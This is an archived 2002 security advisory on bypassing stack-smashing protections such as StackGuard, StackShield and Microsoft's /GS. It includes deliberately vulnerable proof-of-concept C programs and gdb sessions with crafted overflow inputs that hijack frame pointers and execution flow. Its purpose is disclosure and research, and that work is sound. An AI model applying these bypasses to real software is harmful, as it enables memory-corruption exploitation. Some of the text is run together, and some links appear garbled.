"Stack shielding" software have been developed on the promise of preventing exploitation of buffer overflow vulnerabilities that make use of the stack smashing techniques. We discovered that all of them present basic design limitations as well as some implementation flaws.. . .

"Stack shielding" software have been developed on the promise of preventing exploitation of buffer overflow vulnerabilities that make use of the stack smashing techniques. We discovered that all of them present basic design limitations as well as some implementation flaws.

Date: Tue, 23 Apr 2002 19:44:51 -0300
From: "[iso-8859-1] Ivn Arce" <core.lists.bugtraq@core-sdi.com>
To: BUGTRAQ@securityfocus.com
Cc: core.lists.vulnwatch@corest.com
Subject: CORE-20020409: Multiple vulnerabilities in stack smashing protection technologies





Multiple vulnerabilities in stack smashing protection technologies


Date Published: 2002-04-23
Last Update: 2002-04-23
Advisory ID: CORE-20020409
Bugtraq ID: Non-assigned yet
CVE CAN: Non-assigned yet
Title: Multiple vulnerabilities in stack smashing protection technologies.
Class: Design limitation, Implementation flaw
Remotely Exploitable: Yes
Locally Exploitable: Yes
Vendors contacted: 2002-04-15
- Immunix: Yes
- Microsoft: Yes
- Stack Smashing Protection (SSP) formerly ProPolice: Yes
- StackShield: No, all attempts to notify the maintaners via email failed. No other contact information was found (the website has not been updated since January 8th, 2000).


Vulnerability Description:

In the past years, several technologies (in the form of softwarepackages) have been developed to protect programs against exploitationof buffer overflow vulnerabilities. These technologies aim at detectingand preventing the execution of hostile code that takes advantage ofsoftware security vulnerabilities by overwriting a critical portionof a running program's memory known as the stack.

The techniques used to exploit this type of vulnerabilities have beendiscussed at length in the past years and, although they have been usedfor years in malicious code, notably the famous Robert T. Morris worm in1988 [1], were initially introduced to the security community at large inthepioneering articles "Smashing the stack for fun and profit" [2] writen byAleph1and "How to write buffer overflows" by Mudge.[3]

Technologies to detect and prevent "stack smashing" exploit code werepresented thereafter, notably at the 1998 USENIX Security conference [4].

"Stack shielding" software have been developed on the promise of preventingexploitation of buffer overflow vulnerabilities that make use of the stacksmashing techniques.

Several other techniques to exploit buffer overflows that DO NOT make useof stack overwriting or code execution on the stack have be presentedduring the past years.

Techniques that exploit vulnerabilities by overwriting or otherwise abusingother memory portions of a running program are described in Solar Designer's"Getting around non-executable stack (and fix)" [5], "Advancedreturn-into-lib(c)exploits(PaX case study)" [6] and "w00w00 on Heap Overflows" [7].

However, for the purpose of this advisory we will focus on the stackprotectionmechanisms and claim the current technologies do not provide adecuateprotection:

Stack shielding protections have been missunderstood, they only protect aparticular type of stack smashing exploitation, namely return addressoverwrites,NOT generic stack smashing attacks as they claim.

This has been demostrated in the past, as in "Bypassing StackGuard AndStackShield" [8] and "Vulnerability in ImmuniX OS Security Alert:StackGuard1.21 Released" [9]

We studied the three most visible "stack shielding" technologies:

-Wirex StackGuard () and
-StackShield ((https://www.angelfire.com/sk/stackshield/download.html)
-Stack Smashing Protection (SSP, formerly ProPolice), from Hiroaki Etoh (https://www.ibm.com/us-en)

As well as the recently introduced /GS stack protecting mechanismincorporated into Microsoft's Visual C++ .NET as part of the Visual Studio.NETproduct family. Information about the feature and details on how it worksare availableat: https://www.bing.com/

We discovered that all of them present basic design limitations as well assome implementation flaws.

Our conclusion is that although "stack shielding" technologies present avaluable mean to prevent execution of certain forms of malicious code, thosetechnologies should not be thought as a solution to the problem of bufferoverflowvulnerabilities in general and not even as a solution to some simple stacksmashingtechniques used to exploit those vulnerabilities.

Stack shielding mechanims do not suffice to ameliorate the effects of badlywritten software and could give a false sense of security of devastatingeffects, if notconsidered as part of a general security strategy that includes securedesignmethodologies, secure programming practices, strict and well definedsecurity testingprocesses and the implementation of fixes and patches as well as the use ofad hoctechnologies to prevent exploitation of existing vulnerabilities, publicyknown or otherwise.


Vulnerable Packages:

  • StackShield up to, and including, v0.7-beta is vulnerable to #1, #3 and#4
  • StackGuard 1.2 and 2.0.1 (included in Immunix 7.0) is vulnerable to all the described methods.
  • StackGuard 1.21 is not vulnerable to #2 Other StackGuard versions were not tested and are suspected to be vulnerable as well.
  • Programs compiled with Microsoft Visual C++ .NET /GS compiler switch are still exploitable by using techniques described in problem #1.

    Exploitation using #2, #3 and #4 is only possible if the attacker can guess or bruteforce the correct value of the "cookie", the existence ofheuristics for doing that are not in the scope of this advisory.

  • SSP (ProPolice) is NOT vulnerable to any of the described exploitationmethods.

Solution/Vendor Information/Workaround

Wirex's Immunix StackGuard.

Wirex offical response is:
The upcoming next release of StackGuard,version 3.0 fixes problems #2, #3 and #4 by moving the terminator canary to a position between the frame pointer and all local variables.

Problem #1 is not part of StackGuard's threat model, that is StackGuard is not designed to protect against exploitation before the vulnerable function exits.

Microsoft Visual Studio .NET /GS

Refer to Microsoft's white paper describing the design and implementation of the /GS switch: https://www.bing.com/


SSP is NOT vulnerable to any of the problems described.



This vulnerabilities were discovered and researched by Gerardo Richartefrom CORE Security Technologies. Pionering work and ideas were introducedby Richarte and many others (see the references section) in variousinformationsecurity mailing lists and publications as far back as 1999.We wish to thank Crispin Cowan and Seth Arnold from Wirex (Immunix) fortheir quick response addressing this report.


Technical Description - Exploit/Concept Code

As stated previously, we have identified two basic design limitations inthe current stack smashing technologies:

First, they only protect data located in memory "above" the firstsafeguarded address.

Second, (and we think this is a more serious limitation) they only checkfor attacks after the called vulnerable function finishes, right beforereturning from it so exploitation is possible BEFORE exiting the vulnerable function.

In addition to this, StackGuard and StackShield have an implementationflaw:

They They protect the stack starting at the return address, leaving the savedframe pointer unprotected.

In our study we found four different tricks to bypass stack smashingprotections, the first one is an extension of that described in thepreviously referedarticles and is a direct consecuence of design limitations. The other threeresult fromabusing frame pointer overwrites, and may be corrected introducing somechangesin the protection mechanisms.


  1. Control of function's arguments

    In [8] and [9] a method to exploit stack based buffer overflows on stackprotectedprograms is presented. In the example, a local pointer is used to write toarbitrarymemory locations within the program's memory space. This technique can beextendedto exploit the fact that in standard C compiled programs, function argumentsare locatedin the stack at "higher" addresses than the return address:


      lower addresses        [   local variables    ]        [ saved frame pointer  ]        [ CANARY (0x000dff0a)  ]        [    return address    ]        [ function's arguments ]  higher addresses
    Controlling functions arguments can effectively turn a stack protectedfunction into anexploitable program by turning the arguments into a"write-anything-anywhere" primitive.Once the attacker has the ability to "write anything, anywhere" it istrivial to bypass stack protection mechanisms.

    The following program will function as proof of concept code:


    gera@vaiolent:~src/sg/tests$ cat >sg1.c <<_EOF_/* sg1.c                                                   * * specially crafted to feed your brain by gera@corest.com */int func(char *msg) {    char buf[80];    strcpy(buf,msg);    // toupper(buf);        // here just to give func() "some sense"    strcpy(msg,buf);}int main(int argv, char** argc) {        func(argc[1]);}_EOF_gera@vaiolent:~src/sg/tests$ make sg1cc     sg1.c   -o sg1gera@vaiolent:~src/sg/tests$ gdb sg1GNU gdb 19990928Copyright 1998 Free Software Foundation, Inc.(gdb) p "Tests performed on Immunix 7.0, for StackShield remove "Cnry"(gdb) raaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_EBPCnry_RETbbbb(gdb) bt#0  0x40094154 in strcpy () from /lib/libc.so.6#1  0x8048469 in func ()(gdb) x/3i $pc-30x40094151 <strcpy+17>: mov    (%edx),%al0x40094153 <strcpy+19>: inc    %edx0x40094154 <strcpy+20>: mov    %al,(%ecx,%edx,1)(gdb) x/s $edx0xbffff95d: 'a' , "_EBPCnry_RETbbbb"(gdb) p/x $ecx+$edx$2 = 0x62626262(gdb) p "Now we can write anything anywhere"</strcpy+20></strcpy+19></strcpy+17>
  2. Returning with an altered frame pointer

    In standard frame pointer overwrite exploits [10], control over the theframepointer is gained after the first return from the vulnerable function.Shortly beforea second return control is gained over the execution flow of the vulnerableprogram,since the attacker can now control the stack pointer and therefore theaddress of wherethe function will return to.

    Using this technique against stack protected programs does not lead tostaight foward exploitation of vulnerabilities, however design limitations can provide aneffective way to use it. In this case we will use StackGuard's protection as an example ofexploitability. StackGuard uses a protection mechanism called "terminator canary" thatpreventsoverwriting the return address. However an attacker can overwrite *up to theterminatorcanary without modifying it* and thus gain control over the frame pointer.

    The following program serves as a proof of concept code:


    gera@vaiolent:~src/sg/tests$ cat >sg2.c <<_EOF_/* sg2.c                                                   * * specially crafted to feed your brain by gera@corest.com */void func(char *msg) {    char buf[80];    strcpy(buf,msg);}int main(int argv, char** argc) {    func(argc[1]);}_EOF_gera@vaiolent:~src/sg/tests$ make sg2cc     sg2.c   -o sg2gera@vaiolent:~src/sg/tests$ gdb sg2GNU gdb 19990928Copyright 1998 Free Software Foundation, Inc.(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,it's ok"(gdb) r"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`echo -e '1111\x0d\xff'`^J" "`echo -e 'BBBB\x0d\xff'`^J" "`echo -e 'BBBB\x0d\xff'`^J"Program received signal SIGSEGV, Segmentation fault.0x80486b1 in main ()(gdb) x/i $pc0x80486b1 <main+25>:     leave(gdb) p/x $ebp$2 = 0x31313131(gdb) x/20x $sp......0xbffffc5c:      0x42424242      0x000aff0d      ...(gdb) p "You need to locate 0x42424242 in stack (0x42424242 corresponds to'BBBB')(gdb) p "Now run it again changin '1111' for the address you just found"(gdb) r"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`echo -e '\x5c\xfc\xff\xbf\x0d\xff'`^J" "`echo -e 'BBBB\x0d\xff'`^J" "`echo -e 'BBBB\x0d\xff'`^J"Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()(gdb) p "As you can see, we hooked the execution flow"</main+25>
  3. Further control over local variables

    Overwriting the least significant byte in the frame pointer with zero(0x00) will moveit at most 255 bytes ahead into stack space. Usually this is exploited bymakingthe new stack have a new return address, but that would be detected orignoredon stack shielded programs.

    However, what an attacker can do is control the last byte of the caller'sframe pointer, effectively controlling all of its local variables andfunction'sarguments. As we showed in #1 this can lead to direct bypassing of the stackprotection mechanisms. In this case we expand the technique describedin #1 and realize that an attacker can control all the local variables andarguments of the *caller function* without modifying any return address orcanary.

    The following program serves as a proof of concept code:


    gera@vaiolent:~src/sg/tests$ cat >sg3.c <<_EOF_/* sg3.c                                                   * * specially crafted to feed your brain by gera@corest.com */char *read_it() {    char buf[256];    buf[read(0,buf,sizeof buf)]=0;    return strdup(buf);}int main(int argv, char **argc) {    char *msg = malloc(1000);    snprintf(msg,999,"User: %s",read_it());}_EOF_gera@vaiolent:~src/sg/tests$ make sg3cc     sg3.c   -o sg3gera@vaiolent:~src/sg/tests$ ulimit -c 1111111111gera@vaiolent:~src/sg/tests$ perl -e 'print "A"x256' | ./sg3Segmentation fault (core dumped)gera@vaiolent:~src/sg/tests$ gdb sg3 coreGNU gdb 19990928Copyright 1998 Free Software Foundation, Inc.#0  _IO_vsnprintf (string=0x41414141
    , maxlen=999, format=0x8048922 "User: %s", args=0xbffffac4) at vsprintf.c:127127 vsnprintf.c: No such file or directory.(gdb) p "If you take a look an vsnprintf() arguments, you'll see we canwrite anywhere in memory."
    This example is valid for StackGuard and StackShielded programs.If StackShield is used with the option to terminate execution when anattack is detected, we only need to set as new return address the originalreturn address, so it doesn't detect a change.


  4. Pointing the caller's frame to the Global Offset Table (GOT)

    Finally, this technique is a variation a bit more complex than what waspresented before.In standard compiled C code, when not using -fomit-frame-pointer compilerswitch in GCC or equivalents in other compilers, all local variables areaccessed relative to the frame pointer, then if an attacker gains fullcontrolover it, she can arbitrarly choose where in memory local variables areplaced,this is the trick used in #3 but a slight variation introduces newposibilities.

    By using control over the frame pointer to place local variables andfunctionarguments on the Global Offest Table memory space (OR MANY OTHERMEMORY PORTIONS, i.e. heap allocated memory) an attacker can effectivelyexploit vulnerable programs bypassing stack protection mechanisms.

    The following program serves as a proof of concept code:


    gera@vaiolent:~src/sg/tests$ cat >sg6.c <<_EOF_/* sg6.c                                                   * * specially crafted to feed your brain by gera@corest.com */// XXX: Add real encryption here#define decrypt(dest,src)     strcpy(dest,src)int is_new_user = 0;int get_username(char *user) {        char temp[80];        decrypt(temp,user);        // XXX: add some real checks in the future        if (strcmp(temp,"gera")) is_new_user = 1;        return strdup(temp);}int main(int argv, char **argc) {    char *user_name;    user_name = get_username(argc[1]);    return 0;}_EOF_gera@vaiolent:~src/sg/tests$ make sg6cc     sg6.c   -o sg6gera@vaiolent:~src/sg/tests$ gdb sg6GNU gdb 19990928Copyright 1998 Free Software Foundation, Inc.(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,it's ok"(gdb) r"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB`echo -e '\x0d\xff'`^J"Program received signal SIGSEGV, Segmentation fault.0x8048750 in main ()(gdb) x/i $pc0x8048750 <main+28>:    mov    %eax,-4(%ebp)(gdb) p/x $ebp$1 = 0x62626262(gdb) x/s $eax0x80499f0:        'a' , "bbbb\r?\n"(gdb) p "And now, we are ready to write-anything-anywhere"</main+28>
    The same comments as in 3) regarding StackShield exploitation applies.


Microsoft's /GS protection mechanism is vulnerable to #1 but it is notstraight forward to use any of the other 3 methods of exploitation becausethe frame pointer is protected with a random canary (known as "COOKIE" inMicrosoft documentation).The cookie is generated in the seccinit.c file of the CRT source files andprovided with Visual C++ .NET platform.

StackGuard v1.21 introduced the use of a random XOR canary for protection,but this option is not present on v2.0.1 (as checked browsing source code).While the random XOR canary protection would have made some of theattacks (#3 and #4) not so straight forward, it is still possible to abusethedesign limitations and bypass protection if a brute force approach is takencovering all possible values for a one byte change of the random canaryvalue, this gives the attacker a 1/256 chance of bypassing the protection,more than enough for a sucessfull attack in most cases.

Note that using an XOR canary as in StackGuard 1.21, problem #2 isprevented.

StackShield up to 0.7beta does not appear to be vulnerable to #2 but it isvulnerable to the other explotation techniques.

A detailed paper describing the protection mechanisms and all of ourfindings will be made available shortly after publication of this advisoryat



  1. The Morris Worm -


  2. Smashing the stack for fun and profit - Aleph1

    (English - Spanish -Rusian)


  3. How to write buffer overflows - Mudge.


  4. Automatic Detection and Prevention of Buffer-Overflow Attacks
    Crispin Cowan, Calton Pu, David Maier, Heather Hinton, Peat Bakke, Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang, 7th USENIX Security Symposium


  5. Getting around non-executable stack (and fix) - Solar Designer


  6. The advanced return-into-lib(c) exploits: PaX case study - Nergal


  7. w00w00 on Heap Overflows - Shock and w00w00


  8. Bypassing StackGuard And StackShield - Bulba and Kil3r


  9. Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released - Gerardo Richarte


  10. The Frame Pointer Overwrite - klog



The contents of this advisory are copyright (c) 2001 CORE SecurityTechnologies and may be distributed freely provided that no fee is chargedfor this distribution and proper credit is given.

$Id: stack-protection-vulnerabilities-advisory.txt,v 1.6 2002/04/23 22:41:11iarce Exp $

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